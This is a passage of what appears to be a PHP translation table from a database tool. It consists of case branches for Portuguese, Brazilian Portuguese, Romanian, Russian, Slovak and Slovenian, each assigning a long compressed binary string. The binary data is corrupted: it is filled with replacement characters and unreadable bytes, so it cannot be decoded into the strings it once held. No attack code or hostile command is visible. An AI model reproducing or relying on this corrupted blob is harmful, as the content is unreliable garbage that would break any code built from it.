kqVK�p�З  �W/\"V���a{�𠆃 ��\"\r�:\0��x/��� .Y���\0��(x �5�@^�hr�:B��J�@������z���0����n���C}\n��/�\\�3��R�!,(1���S�OWq@?D��(\0��Zu5!�\0��z1�5�\n��P�p��9!P#_R�(R^LI�vZ�����S�[>`)��&;ٻ�@����\r�'r7<���K�%Dѐ0ྊ�\rg��BVOI��'�\"��}��/�-�N��\nl�����Ʉ���Ց���r0��H�hk#汄���0Z�\0~%̓�4�C�Q%l�GT�&Jt\r�!���W\0�����E�\0f\r)����E�Hsn0l0lH�K	�D��\n\\��|e*9'@��Xok��`�%iڡE�9��HK��K\r��P�P�[�tR,\0��\0��B�� !�J(n\r�Yk�V��Rح�0cHa9'\0@�Qݭ�Aw����uBhUn%��D8\n	�_�w�BJAJ4oЄ��:�/�X�x�,��=����تw^�t�#*JN��<Rڪ���f35 T\0�\$�f�`z>%��JМcr�=RE��J\0�Y,FR�S����c*�\r�<9�V7E��|0�d+��HPAPq�䗆9PT3�_\$	�k�FB{�e���T�=���Y	��F�yE�\n\$�Vn�\"��H����<�L�z\$	���Ty�:�X��R�i@h��2#t��\n5ij&D��P,��^eب��eL]o�h��V�]L�0�'�,����7Ob�6�����J��2��t�(uDԆel�!�1R!�D���hN�=0`�C	\0�8�TCØ }Lt3C�*)�3}�ZV0��zr\0��9:��\"�1�GH�%�̝�6z �=#���#�~��v}ltv�2n�M����&�~z���Z+lC��jyٹ}[U5�@�����Z���ΩSʹ��cE�Ο���?m_�u�ɨZ����uB���-������N�9��4=���O�e�Y���r�8�NI��{����_��\$�nČ%)�{�e⦼9��������\$OMd|�up2U��'�˙���>,I�A�A!#,䆺�[�Gf����H0k:YAO;w�ϩ�#��٤�UP�9)q�:���n�Y6�B�[�� �{|&�R��o �g�t\"\ra‰ٺ���X�>�Ѻ�Aa��wT=[W�6��:�F�9G�[?p\"P�a�Hj��Ǭ�\"[��n��Xӛ��Q�ax�����:u�č�P8�H�+Ր��K��AO��}�PM���J����eB����Р[_{n>Oibk;�Є�>Gg�/\\vЪʚ��I��5�\\��I��#��Ή�O{������i���s�4*�p�G�ܘ��P���/�G�������m �Ps0�.�\0���0���N��#����PT08ـ�J�.@�I8�/�銒�p]	��0L70k�z�/��xŬ^�*�:��L�ܮB('�>K�?� ��j�^c�-gi\"%��A��%���D`�M���Z�����\$�I�\"-�拄�K�>@� ���y�8����pljR��s	��9���\"�PB��/�=� R\n�\0���o�\0�Q�\"�o��P���l��}q2�D�]l�k�\0�V�O�� �)D�#��qQf�1k�T&�P�Q�:QT�'�\"�OV�e�g�!��=�8Ů��OC��1r}Qdg撫H�@�\$w�үL���A���q?�o��N������/�V�9��3�>�D�o����2 ��5J�J �&������5#�Oϔ�P�\$C#\$�=�v�N�7j�&RXM�YQ<�w\0���鱏2ljr�]l�ǒ�\$�}Җ6�u�)C��2���p��*�!F�+�|�\0E��IDJ���d6*қr�-��-��*��h&�\$o�:Ƴ������\$#��yмHlR�63�C�6JM�T%\$��	_02�\r352��(Q��c.0�6*�\nTJ<\00036\r1�8:K��6��i�rדwsp�PR2�ld�\r�V\rb��b��(�BN iP9\n��j�11Ԥ�U\$�\$Ф�\"�!�U��\n���p&͔��*�iG|׳�2pr���=Ƒ>\nr��2�-�=�@�d�٦s��#� �#����_�_��̂�3�5`�J�X��J9:�S��E�>���)��N�/<�1\$%�5F��0Ը礸r���:N�/�\0��L^&/��k�H.� Jv%�z�t~(��>�0(�hwԑH����K4�Kn��ZN�K�KCR!�B�%\"���XNB`-� 4zs�\$�\$�\n`��I	.�ԡt�6��t�>��\rFJ-Ċ�ƒ8e^Q\$N���<]�Z�c��(�TęN�5`�(DX#\ng�zt��T���6	DmCF��I�mPS&3�7�iCR 6�gR�Nw�QMQED�\$rh-ĶB^]\nd\r�f��EDXMb�%�";break;case"pt":$g="T2�D��r:OF�(J.��0Q9��7�j���s9�էc)�@e7�&��2f4��SI��.&�	��6��'�I�2d��fsX�l@%9��jT�l 7E�&Z!�8���h5\r��Q��z4��F��i7M�ZԞ�	�&))��8&�̆���X\n\$��py��1~4נ\"���^��&��a�V#'��ٞ2��H���d0�vf�����β����K\$�Sy��x��`�\\[\rOZ��?����2wYn��6M�[�<��7�ES�<�t���L@:��p�+�K\$a����ÁJ�d�##R��3I��4�͐�2�pҤ6C�Jڹ�Z�8ȱt6��\"7.�L� P�0�iX!/\n�\nN��㌯����Bc2�\"�Kh��a\0�����D��E��+?�(����}�o�,E�+�91�j�LnR����^1�+̡E�J�8%���:����1,[�%J�kF����CTE��x��,�h��\0�<� HKR��J()��,���0ꬺ�J( ���b\n	��M�Ë�6X�8@6\r�r�'�P�Cc:9��t�%\r�J��i�#(H�Q�.��[\r�315�7Fϊz���&2u���\r�@ ����k��C;�8�T���2��@I��B�vK�!���::�1����+0M���4����	#j<�1�(�N6@���{\nR�Y�=9C���Qp��MJ�J�x�3=cp� ���)\n0���z<���1��\0�:��b�����#8¼�Vk�@�aL,7�i@@!�b����*֤�ܕ9Iz�6�	b��-�e��V	���Z�p�a(��)���2���{�n��t,ߋt���u�9��K�&��* �C:3��:����x���Ƽ��ˠ��EΔs�^7Ð�#����a}��\rD�/ ���O�+'�%��B:�I�'�7L���\$ J;�܃��\rM�ð�@h@��H`�P	@��b�`�h(*\0����&bÙCĐ6��X�a]F\\�g\$��	8\n'�E�PJE��T�3b?�J�C�|�c���%��O�\$\0�R�P��H<�D��TO\$�#:�J�&�	^>6�L�qY��:G׌��P	�L* \$b����P\0�3�\0܆ܪA�ԅ��|O	����7�����g07�\"Y�MF;/3��Cz8�ሻ/��~CJ�s\0�#Hh���^!6A�� r'ӒD����wQ���r�@PO	��*�\0�B�E�3�\"P�g�^E�X��n��Q\n�a�\$Xy˒#˂T��R�E�rV4�@[��Ci�#����1O�(�1fQ\n2�S�(8�Y�T�x�S7����Gm5��!���4�4t@I�[�@n�X�6����Yg�(7)��SSK))I&X�]�\n�x�C2�a�r\n��K��M�p�¥\r7ց̼2��@\$��hoH.�(��Y�o\r�(�2ta,Z�Lth�����	�) �jt�����=�\0��fV=�\\Aѹ�^@P��|���(��Э���t�W�h�^/�۩c�Hjqʛ��*���U��T���9+�rZ\r� �5����k;1(V�����rX5�ſ��Ir.FI���2S�]�P �0�IuAMR<�P��q�E\\��G^�ѫ兿�Ė�R��ƀ�Q�Մ�Q��=��fH�\0\0�=��!Xp�0�\\+���)�q��”\0s%B���Юb&zN�	�Ŏ�l���Y�x����3���L\"a�'���͓	�f*��u��2�[�p7�r(�!��1�,�gq.SsBh��r�n	�D#'�.&T�\n>�Kq���p��&g����ŁK�)1�̣��q��9Zs*�}>EBK��Մ�ҋ��I���轪PIOay����84���86�A�8ƅ������Y��v��v?e-bW�'�7ְd�i��tAF�!:�����JЖ�}/����S���\r�s���Y�^��;���6�1��i�sn���fE��N٨��캕P�Z��v��͛��4_����j��bNتlR�q�)h\"��34�X�m/0e<�G�[�O,NK��|�clL�q�iŸ�,�<��q)��Q|0�҃.Y����qdJ�{yTݹ���]\r��jY�z�����*���>�|☵ª�d͞5���F6h`7�T7֋�5?��p�N��a�]і(k�r��`OL����&�=��3iv({�:���6/��A��}Ȥd��[OWy��'��>�P��7����t�ɯ�����_�P5���?��w��NW�`%˕�o��I�A�:�����v#.��ⳍz�1E�|[�;/�u?����,/�ϪŊT�ZV�p;�bb:���dl���\0�����+�'/L\n0?�i��ӄ�X��E�%o��J�VE�?\0-�@�pJ �r�j�-F�Wph�o>\"��nF��ph/	��9��B캐��������Oh��\0�A\n�����p�Br *�K�>d�L�\n��'\0�\r�\0%�������d	\r8\r㞶<�˶��8��b6f���[o�\$������Zf��ch0B��#o�3n��bn��F2N�c	�<��`�=e���AM8C:��6ݪ\\\$�d ZY���\$�s�0� ����Za#댐��P���r���H��pLjB)�8C'ڈ��Op� ���p1��\n�\")�\$Lj��\r��k��b/GP%�\"(F�F��F�(��	��#�!I�(�r7E��\0��^Tq�0��V�l6NS%�7 �p�@6R66@�F��ȠA�5�d��qFv��F��#�%��0͝&CL��L�\r��9�L%#�R\$���F3#���%V0�T��t��e����i*Z:�2I@�3��i��\$�C�J����Xd\0�2��@�/\$L1��.�7̆1�#� �C̦�K,�J6�d\0�\$�.W.O�.�C0X%ev~i? �\0FjhCq-\0o\$h";break;case"pt-br":$g="V7��j���m̧(1��?	E�30��\n'0�f�\rR 8�g6��e6�㱤�rG%����o��i��h�Xj���2L�SI�p�6�N��Lv>%9��\$\\�n 7F��Z)�\r9���h5\r��Q��z4��F��i7M�����&)A��9\"�*R�Q\$�s��NXH��f��F[���\"��M�Q��'�S���f��s���!�\r4g฽�䧂�f���L�o7T��Y|�%�7RA\\yi����uL�b�0՝4�\$�ˊ͒rF��(�s�/�6��:�\0Ꞅ\r�p� ̹�Z������h@5(l�@���JB��(�*�@�7C�ꡯ��2]\r�ZD�7���C!�0�LP��B���B8�=��l&3�R.)ɨ<l)�ij�;�9C�i[]1�;�1x��Ƭؘ7��tF9'�rV�K��Ƽ�)�z���jD�<M0�:�� ��4�%�\"7C�(]�Pt,l'\r�ҽK�J2�4�CQ���;���:�%<T�,��YA���ӌt�6�0I�\r�	�t�C�F9�N��I����*\n���5��U�bR�M�,1�ѻ�*���&2�u���h�A���1�L[�?c)DQN��0�s\$�Ha)�oa>���x�l\"�#����p�=��l4����#jB�2�(��.᱃dl1a�ʋ���U��D�mSX��cx�3\r�\0��,�t7�)��2�ƅ\$c0�سh� ���0����A���@��x֕��)�\"X��*H\\L�k����۱���b�E������C!L�z�6�rǙ�Q�ôe��l��[\0���y9�`P��QI9���@�ԇÇ���ь��D4���9�Ax^;��ts��ar�3��_�o%c���N�3��P�t��XDe��kʎ��^0��sq��@��=og�:&���1�/���F���e6�����3�p4!T�S�K�\r c�I\"�@\$-��&`��̅L�s\$!���r|��iC�q�\0�!T\$�(�C��B(��5�ˑONI�p��b�?D���r`P�P����V�J����`��h�f?���+W�L�|k\0�ӄc�\n<)�D�b��=|I�tjvZ� HA�:��bp����8J�va�\0007!�Υ�)A�)��|���oG �\"��L?���@��.^�,�	ϡJ�e��N��1>}����o�O	��*�\0�B�EY�\"P�gII	���`��c\n�a�'�z��!'D���=�z4(�`���~��p&�uC��(��)��S��OĞ3����B(�02\$���H.%�p@�S/O��7��y\"k�UT\\�S���%��ʦyK�r/I��*�x�QxVr%����Q�\n�-�?�t�� �#(>���,��aj&�(�\n=g��B �C��C\r��X�6rc��Zv	�(5�����3:��<I�AXϮ2wa�t�GcF������&��Z��_�=,�p)ҡ�x:�k:�%�چ\n��3���Eխ��R�\\`\n�>Nk�����Fq����b)':(�\"3�mR�\"&��*@��@ XE����Ã4xu|9r���b&Q(�S�ҩ��4�P`��i�I�R@�*��F4�<�cޙAp	�Mw�l-X];q4Xl�\" Ç�	��D����UdB5����M�[�c\$�\n��Ls������,�c��qȁ��cp�2I��u*dd�Q���\r�܋�uI�^/Y��K�Jl?�b���a�@�p�%b��Љ_*���\0�C�˙T�˜M�y/<D!v2�x�Y�O�d�iiJJ��/		4a�2���F�5|���̲\$�,S��!�k�I�O�8)�S��u��Z�M�±��D9�ϘݐJ3��Al�u�	�{T���O�q.�Ja�E�c@QG[�n�,U�� r�G<�BA���y�*�rR�VKʝ�ݥ�T��qi-j\rq�Ԅm�\$����tV�C=�\0(�T7���i�Fg��o��鳿\"�H���7b�yG!g���r]��v�*�<�_p�kP�S\n�|�X4<�9(a��\r�Y~����L����lA5h!�\nWx�V컅�����b�>�O[���b�5�\r�f�&>�[�_o�����lt�k�;����k�㮫���}��5@w��͒V��{�cq�9�n�m�ry��6���&Ї`���X��Qm0�%7��YA��Khs��Ÿ�r��%=F��AȜ���n\n6��U���C`��V�	�=鵜������azO~�|�\r�Mz	0Q��]^��y?R�P�s�q����G������Ƽ��%�\$�X\\��F�LP�8����`�#nJ��N�0/�/�N����p=O�����`���J� \$�(��\0�PV%�0Z��/J�b���4m�v*lJ�h e�%�6�	���P�FPJ�p�D��@���	��P�\n���Pw	.�p���VQb��Pm\rb�K�Xo�/���Ю���ڰ⌎����b0��������\n\n��P[�`K*)��D�rO���u�R����1��H02F�Fs�\n~0^3eL�0\\\$o� ������x�d�m��@�X��T�8[�0m�2�L*CB�,`���§�t�F~���\r�V�`�XB,\r��4i?���*�:����' ���@\n1�����ZT^��2C����׍��L���Ñr'��f���b���F��R3�ixۋ@���\$�1��\"�^f��*m�i��\r��:�'m\$�1���cO���M�latQ\"�/D�G#\0;�vnN��lY�*� ��7� �E`]�+r�ۦu)�TJ�C�A�1�\r炿`�*k*͠nl�+E�+��sF�,�* �r�9Ͼ�@�@Z�k�,�O����㊎��'�&��NZf8�n#���G#.�v�|3*�.e@�����Ez@e�.*�`��#(�b��N���3k�)�(�e��bPlt�J���X�@�#,�.�3.IRBT[3���~��;\$lڄh��-zF�/��";break;case"ro":$g="S:���VBl� 9�L�S������BQp����	�@p:�\$\"��c���f���L�L�#��>e�L��1p(�/���i��i�L��I�@-	Nd���e9�%�	��@n��h��|�X\nFC1��l7AFsy�o9B�&�\rن�7F԰�82`u���Z:LFSa�zE2`xHx(�n9�̹�g��I�f;���=,��f��o��NƜ��� :n�N,�h��2YY�N�;���΁� �A�f����2�r'-Kk{3���>��1�`�����L@�[�Q2���Bz2�˨ބ��:�/a6����2�ā�J�'����&��::�8�0���Ґ/!���¸+�Mc�\"1Ic��)	�\r)�[�c��1�P\$T80K�&\nH!6��(�6���Z��p �0���t���Bp��Q��\n��0�B�1T����7��p8&j(�2�L���c�Έ2TH�+)���N�h�̥�C�� �D<o-5N\r4�ɍ����\rb��\r͓:��\0�G�Mq]Q�L���Έ���pH�\0��%�B��K����R�L;V�5p��)������CF�B��e��JX�blȌP�V0�ΐ�&�ꙏ6�ȘI�`�lS;onE�9��{KS�4���t�X�5Jb#*��b�����X�c�*�� ��7�-�e�#h�m��(�W0��=�[(c��]=e�FM:46#6��Cd�6(�]�0ؽ��������P�����9�c2�6P�X�[p�@��m~�,P9�)�)�B3�7�t@A ��H����/)�p3/\n*��{;4m>�E2\n�С(4�B���oc�\0�:㳮���`��3,\rj:��h¬�h��9���r�+�̇�`����D4���9�Ax^;�r��'������!.�^9Oܻ����>g��ʥ�xa�D�%Î��y�r.L�(@䡕!�+��!T�C�'���^s�'�i<�j�	����,�#xu�Hc ������aǸ'�P�/M��7�(FÂr\r�����锜+��b�Q��/\$��֤r���K�B����8�M�yA��<2\r	�I\"���\"�ҮU�Z4!�\\�s�yU%����\n��rA���r\ntQ7�\$��P€O\naR�3�|O#�\n��r�bQH9 A*����Q	I/��E%@���.!i)�(�y`i'hl9��J�	�o)�9p���+hTݒ�����M�-�)\"��9D�98��A��rP�(��4wt	��6��2�V��=���-\0��\"��%��7��e#�v.����8n])q\0�����e�-�\0�_X�Kj�	��bC�g:�O2����Λ\npI�t��� D��Y��1e0�YS��Q�zZ��KP9Za�ЕT`��Tf���2�8�X��VƔ��X�U�X2��+R�leN��\n�r(rXT��u�����K�H�%I\0�B���S�6��|pB,Z�Ob\r>I�Q�I�@��� QmX�L��Se�\\����R�eT!�Q�%�-v��L7�>a�Yl�T�IX�Q�!���� ��dt���#��I�/&w��y(�	����BG]Ӯ�=\0���p�zQ�)���h0�o*z����\0��LRpwE\\2\\��A۱'YD �\0�N�Ld�4vSѝ�GA*@��C`f��5�N��D a���v&Ml�uD��&�Ax ��2+5|�c�+�,(��X�j���_�dh�%ڠd���r���eG\$���g�%d-S�0 0zfd�(:��OU�=���0��]��S�;:�\"p�iӫ��)�f��JӺ��X\$�TK��]U�O��V��s+�T�X�g���=���uN�|W�P��4h��	u�:Qj��հA�W&�H)\$Kz�72�𬗋�Ha ��2������Di(�;H�V�ɛZ�M��Z�l�9Z����Y�۟%Kon��L�)�%uF그�Ҭߕb7f����	��{}�`骨AL���*Ֆ�n�u�r��˫��-����F�(SHK]f��W�4�(���z�ܒ�����u=:Ԅ��Yw��K�h��7�E[TX�4�[�pn-�Q�s5ޱ��~S��=����B�k*UP�}Jvl����di-7�Z�_����uB�5\"��8oi�-E��w��AP�T�ݡs��g�LeLˑr�T�|���<�C75���-�2Q�#��u�|��By5VО�,�ٟ���wq�v�{S��G�@�:5��H=�#�[�1D��;�V���#<���^�\rpn�����.F���00���c��Ξ��Q{�%�V���E ����3���kzT��ς�TJX��n�.�ܐ&��*]o����i�T(�Š��]B�m���2T�X଴�\r�T\$Bl�B�Ze����4eR��K��*�R:@�aDC�\\�~Q��:c�D���Rb��f�HS\0���p����j�0��������A%3�%\$��HK���D=��\r\0�3��(c�\$O�/%�AV�0 ��Awp0�*�� Q%��E!7q+\rN�P�=�DqH!�)�Y�G�7v��4��.?M����ny�dd���i1�ݪ./+��1z��S�b�1�!Q�n�'�f�D�+���EF}�S��F(��Q��q�Q�M���u\rp���F���	�j@�P�3��P�<���B�@.�?G�%gX��X��\$JC\"�&���o\n�k`q�\"&�p����>���:����2�1�'b��qD�\r�V��R\rmX7\n��eT�hv��\rd:g\"��b�2n�\0�\n���pB�N��4�rH�W'(h����\$�J>i�,�؆B:#�B\$f�Q�\"���0.(.�D`����^<#4Z�5(�>��%�6�&�b8��&�B8\"��A�]zN%�/�&�bd�)C�?�W)�ۣ�N��E3�UˀU����u1\nq%-�bQ�q\r�#+7�j��dw8*�#.��f�6#*)�h6�&rK�3�JƏ�6L5�u�&F��as�2�I�VZ%�F,�]o�=�=f�/k�;#��%���,M`�\$lyC���\0�&@�J�u(�@��To/����N Gt�d&3���3q�.\$,v0\"�1j�=��	�@4�Nz��(��/�7`�@�Qq]��0�Y�:ܤ�g‡6�I  �@�	�t\n`�";break;case"ru":$g="�I4Qb�\r��h-Z(KA{���ᙘ@s4��\$h�X4m�E�FyAg�����\nQBKW2)R�A@�apz\0]NKWRi�Ay-]�!�&��	���p�CE#���yl��\n@N'R)��@%9���*I.�Z�3��{�AZ(���Tq\0(`1ƃQ��p9���Xi\$fi'B����2��,l�Ƅ~C>�4P��T!�H�k���hR��Hb�����4��i6FFc{Y��3�-j�rɼ� 4N�Q�� 8�'cI��g2��O9��d0�<�CA��:#ܹ�)#d���à���),zn��Lӊ֮�m&��0��N�.�A%�\no�7�d\r����ŒC8���h�*����h�Z�]9kcFh�0�:�2�FH�1s �S�ѯ*in��h�ɉ9!��L�.�H��h�\r�,	���dĦ���3H�(�J�X�D����4ƁN�()|�����F������йt�Ҋ#���\n�1Pqs���,�J�S�\n��\rHhR����Ԃ�-r�OB����,;���\$�-�hʾ���ؐ�:�+�h�<�%��P���Qd�RR�\$�Z�&���QێC��Vɋ��-��M0�i7�DqE�19�L&K<e������աK]��x�!(�ԧI��e�/���\\����KHe\"b�)d2�\\#\$�]t�}\\#7� �7}\nGcU�UZ���\\���Dg��9IkI��6���}J�,���-tXZ��:��c�\0�ȸ�0��@�&%Ic�����)�ñT�J\rF�K4��R�#�5bI+��\\��AЄ�|b�G7�e��T�6e��\\u�44�:��E��<ia�*}0�+(^��=�|�+iU:F'��)�����k:�d�Fm�Zܻ6;�:�\\px�o�������\r���;���� o��6\"��\\�	�L@(*��\\\0y�70���a��\0��:+`���(\$C8aE`���ڊé���3����G*))���˜Rϙ}��\\J�9�a�<�r�X�%H�B�Q�deq�,؊��y7K�ϯ\"\n��yp�=�~P\\�LD��FRlW��\$*d\r��|�#��]ˍ1.�ȺЃ(�40�3��D�a�7�&NC�p\r0\0002DpxO\0�����s@��y\\�d��2� ]%C8/��]��CHo�����#�% _@N\0005� |Chp=��]�@x�>-��j���Ϡ �����z%����: D�Pc��JK��d��\"�*\"8h��\r�V0)��;b�t��0�����\r�/�2���;!D�}���pP��&ln��\0P\\!�;Q,�(T� \\�&S��BC�q���)������J��\$�q4X#��{�¥C�`�[l�a(�ʹ67T���D���P��l��1h\n2���z�ZSl���,N� ����i����?��\0�|g8fA�6�\0�,�4�?��8?^�{�'�w�,���Q��\\�b��S�@'�0�V��6U�}Y{-ZݩS�]5���4m\n�}�}�:v�	�Ȫ��ïO�j�T\$���sQX#F)��.7�A^��1\r6�����t�A�X�	@�HgM��\0�{O!�*��8i�2Vs�k�`�-xG�[.\"}�Ui�I�!�BS���{(ܢ7l��K��ƪ@��,�Z��K��\"U~F��c�5�jP�R�\nk���B� �2��j�cm��V�@PD��0����l��dMr�ňy�r�g���T-% ���֧�Y��b����(�p[���p-z�Z�H�2Z�ݪ��m�e�*�d#�A4�(���d�}�j)Z���c�t���AsΏX���F�,qF�>�%��ϗ�Y�bH5tQ�Z�\0(��f\0u6��	@�Z.���.	&A�T�O��h	�5�XQ7�k��#GXv�x`�>z���Z(\r!�2���a�1ܡL2���~�&n[����V�N��4�'���8z��\"�n6� ɏF�+���;M��;L���8�|U��ڤ�(�!�e뺦.�*29ϗ5�\$��,�3�C�|��Z)h㜧+��lSy�E˕�)忾�9',D�~\$��G�S��D��������Ld�5�`�*�Fv��:�A���5�r�_^��SU��iʟ!P*�~�����h\0yC}w>��Y:���_��0ʇ�Y`/1����\"@��X���yՈFD�-�Ě�0�tWJ���Tn��v�[ً�dq�F�4=K����ra�w�b�%ͼ�Y�ZX����8��ȳ��:��V���Zr8�TMnfN���E�U)�`��<��/��yb�>�^�׾�H���J[���G����C�\0}\0Or��\nQ��J(N��.���Ft�	����0��B%�\n �Xv�'\"�'�n;\"��/P%�X&\"X�pbN�/�܎n(��a�xa-�A�����A�M�fN\"�I;D��	�b�'-D�|�\no �v�>F��)�TTmb.��*G&KO#\r�~I�8��\\�ą��e�D'0��0,�Ov0\"R&,�	B���Bl��Nup�\"����S�‘*m����,gǎ*��NQ�F�J[�������cQ_�'�:�,a�P&LT�'����X�r'Ð��2���)��U\$J�m�5n\$���J1�[��*-�c�^���F1|�Zː\$,jt%��\"���.��e\0����b��욞n�`PC��R�ф�\n�[CVS����f��bB��ϒ�%�\"1d�d<�Fw�E!��#R!�S���\r#rP[��FXÍ��F��^�����&�q�m\0S\r�w�pߨ�x�d���&�!2r[QQ\0¨%��SV�.NⰄ�\"O'R�Sf��D��#,�++~B��a��\$�#��28RQf��B�r�\"R�8�o\r\"K+����Q��K��)�<��\\b.b�a/1T*�!��P:)�*�i�3���6�:��>��}4S/%\r�'8�r\0,F�>�h��@U�h��2D����P�!眏E�C��f��fO�� #Y7\"�N�\".X�1�n�9�P�4{�R��;\"�`�sL��2P5�d摮;S�Jp�:	�0��c'�7p�u2�GEKh�劬RSlc�\0� �rb�3\r��.Bq�B�3\"���4!Cr-C�c/RT�(��at5BTK!rl�Xr�Or)C�WFf�F�BҝC�G��FҪ��H|laGt��aI4��g'�J	�JLP�T@Ra��<�\$\$6�B��+ZR#X�O�����\$F0D�R�;R�A(1W&�@�\r.qu#�/(lD��N�cb�6R.�Ͷc� �x�#�l�K@��Nn�+�:�t�Q��g�'E�s.	.B`e�&�^�~B�*ђA�g��f!;��b��ʺ��N1БYTS(�Vm�M�c�WJ^�DgW�Y�V���5�胡W��kI�&���u���zU{W�D|��\0�?WZuwZ�ln)�C�&��Tv�Q_8�.u���0�Q�Jn�`����n/r!s1X2+4����-IB�-a΁c6%6Ry�	H.|�J�d]vc#eb\0C�gHt�FF��ծZJ]btr*/b��J�oW5�,��[�g�e\\֋bt�QB��'s��EO�L+�-��@�0+p�Hr����o��IkMG/Ԏ���L�mS	RMF\$�j�l�_\$6�+i�Z�ɴt�GE������-���!�l�S4����fIo&7iО���gsR�r�h��?1o�g�\r�W5��Td�e��l�H���툦�w8��z@��	��\0Ĝ��\n���Z\0@�`ƛ�V�J)�k\$�\$W,�����)z��9�������w���jчq�B�!t��g��ae�N�Ħ\"W�q��	����>��RH�N)S�g%a`�|L\n��i�;I�o�P��0e����B�6�AYGU�T�@N\\��*a�\0����E����\r�*<��@�O1��^�c�F� \$��sI���S�8�k�I���(�rB�ӗ5�\r�T�ؗ*��b�'���o�\n<#�x�ʱ��\0�����8Ў��N�H�e�.�zI\r@9����A3m�'��\\�nY%N4n�E�n�.�*j����DI����-��@\n��\n��`��ے�4�F�&W�q�hQ��p^�%�޴�k��l�\r4Hp�^,��L�v���'_T�N�,�M\$�*��d�6�K�ł�h\0?#ȂU�����eZ�ܡ6�i�x���|96iq�4�5�Oߋ\r�Q�NA�)!9��\n ";break;case"sk":$g="N0��FP�%���(��]��(a�@n2�\r�C	��l7��&�����������P�\r�h���l2������5��rxdB\$r:�\rFQ\0��B���18���-9���H�0��cA��n8��)���D�&sL�b\nb�M&}0�a1g�̤�k0��2pQZ@�_bԷ���0 �_0��ɾ�h��\r�Y�83�Nb���p�/ƃN��b�a��aWw�M\r�+o;I���Cv���M��\n����Db#�&�*�����0��<���P9P������96JPʷ�#�@����4��Z�9�*2����Ҹ�2;��'��a�-`�8 Q�F<��0�B\"`�?���0���ʓ���K�`9.���(�6���2�I���cʳ\r�s���@P��C%l6��P��\$h�ۭ�c�4�b`9��X*NL���lޜ�����A\0�ł�����%�X�)L�78�П�����6��:�Bs���M��� @1 ��T�uh�W�U`�֎�\0�è�5�s�3�C(��o�._/�P5��hޟ���\r%A�#\$J�8.b\\4��i�]2;X��\0P�`Y5��65�p�c܇\n\"`@���8�w�h@\$�6-'r��l�1���ɽTۖذmA-�T���J�\0�<�˒�9�H�P\nyK�AL��B=D�~\0P���)	#j5\0B(�ܹK�9t�Pc҇e�`��l��%L꒎��x�3\r��ʔ��\$�P�`�7�/X�<���:�q��9�ؐ@�.�p�5���0��\n�p��ں�(P9�)H���c�t^��rb��#���&7\"�3\"y\\�P���F��7V9ϊb�2�C,ڐ������U8\r�s�����O=�9_���s�0�)Z�����;�uR�8\r6(�Ї��H2���D4���9�Ax^;�r�ţ�\\D�8/'0<&�^(/K�9����_A��z	���0��@t\rm��\0��b�_����x��I��B�ӁA�RnNQ)/%쾙�yO:�R��' ������b����dg�]˝(��@��G����U�L�M�G��Ja#�\\!w��O�ƈ`���^L[{��A��bqCC�MµЅ��/T[�zOP���B�ɞPA�U9�r��F��P�MT�����\"sa��;CXm\rXpp��-�Z�O)<L}�\0�¢�P�5I�WM2�	8\$�=Y\$A#-�4����\\é���5I�����p��fM/��k�|8*���\0��A�^�(�`��q���HU*�9J��0��N\rd��G��D�Av91,��P�*Z;G� E	����r`t\\�|��gL%�%�\$�DF��A@E�Yi��v�_`abR;J��<.G�N(�x��5J��HF�j�s'K���u@��A�ra͛��,�SI)�ŧ36�D� #ed�\nuO�ib�э6�pyf	����	�-a����\rQ/��+�\"E�p:���\0�@�`<щڠ����\0�s�7�\"�GC�[il���aF��T0\nx�����CH�ƥbp͐d����)Z�S�D�4%G���z�S7��4X鐺�1���C�%b�\\�[�|�!�\r@(!��~���T#�1��(����6����j\\P+c���.r��20#l�ɯAԢ�{e�D�T�KP�Qj���=J����:`E��*��?�0յ�.�Ha�h�����wb��U��d8j��DC	�2�AW'သ���a�w��/W^���e5U`vf��p	̂��fwu�[�å&���Nb!V��\$������fM��#:=Rړ�DB2��g��H��_H0��\\�|^*��Zw-e,�3S�QMXkS��Ʃ�:s^��٨O��1����C��i\0\$���=2��v�}:�'mb�L\"\\O���(j�O�,BDP�j���E	v����VS��=(�ͩR<��I�\"��@ҫ8N��!\n�1f���B�lÒSQ��I%�*htM��y=d���Ǖ_ 8*8:�;�	�&��0���wM�@\$��\\N>���կ��\\;��z�����j��9G��n�֔P)7�x7��zt��)�jO\"P�@���9qeL]5�Cb%	Խޑ��\0H#}��J�]ɾ��Z'�\"7߃�,�7�1�Pȹ��)�Z����:\nJ��Oʳ//�㺓�3��_?ʚ�R䩛�s�-�[Fƅ�X֡wYW��5�����=K�l��2�A�9����8�b�.�/� ,�f���Ƌ�GG��u��1<������u�z;=}�S�=�����\r_����Y������t8ΐ�o6r����P�\n�\0Z@�\0��\"&�bRK�\r��TdB\"��'�@�*fGH@�r�ˆ��fC�06%Fs\0�Dg\0&eUa}g��_0z�ȇoh}���0�®�b6`N`D%�\",��(+'�\$�\"��&�,���m�^�ʨL\0�b<�c�+*f����Ej��жNe\n�o4�p\r�1-^�P��fL�k���Ţ�(�Ax�lX<q9o�n��kOPd���n*:���� (c&�Qn1M��D�8j�x����\$�|Po��A�'P& n�ClN�� �Q\0������L���P0�n��c�o%~X+c�{� dQ5��^���Ѷ���\$�p�pj�\rbzA0�k�/{��X1���xQ�'1�-7��A��\r1�r��T\n|�qr\0��K��C�qiE��.l!\".��x��F� ��D{�/R1E9%-�<Œ D�F�#���4�\"\$��#���K�%P��e)o)A}\"�a`�\$bL0��ާ���ŷ*�>fe����	��e`�f��\n�Q��+�-o�c\n-\\5�Џh�.�Pm�	b@u�Vt\r��J��-�-nf2\$�B90&s/�С��\r�V\rf�\re(@\"f�C�8‚p\"k�:Dt@25LF#☇	w/�\0��Z�A\"6:�Z��\\h��ӭ���*8�7.o���/3����/��ѭ�禖\"���\":#�xj�ZNC	�~�J\n��FD�^��Њ�&)#dV�B�n5*	�	��=�<%4��N��T@g.@�\r�:�A�T\r�2�dY0�f���C�;N���f���8]O@v��`��Do\0�.�O��	��H�Q�TR^�T�#BUb�x��^qk�|�FGw��= �\n)��Ν,c���~��)�h��K��#���qiR려��J%cd3&�H`@\n��,\n��fԂ�ΪY��&n�O#\ndIM09#f��1�GD�>*ī�����B�LD��j�1��E�zY��X�r���/t�@byM��Œ\nV_`��%�9�Fb	\0�@�	�t\n`�";break;case"sl":$g="S:D��ib#L&�H�%���(�6�����l7�WƓ��@d0�\r�Y�]0���XI�� ��\r&�y��'��̲��%9���J�nn��S鉆^ #!��j6� �!��n7��F�9�<l�I����/*�L��QZ�v���c���c��M�Q��3���g#N\0�e3�Nb	P��p�@s��Nn�b���f��.������Pl5MB�z67Q����>�g�k5�3t�r�ρD�ы(�P�	FS��U8F���zi6�3�i�I2��sy�O����\nE.������/b�;Z�4��P 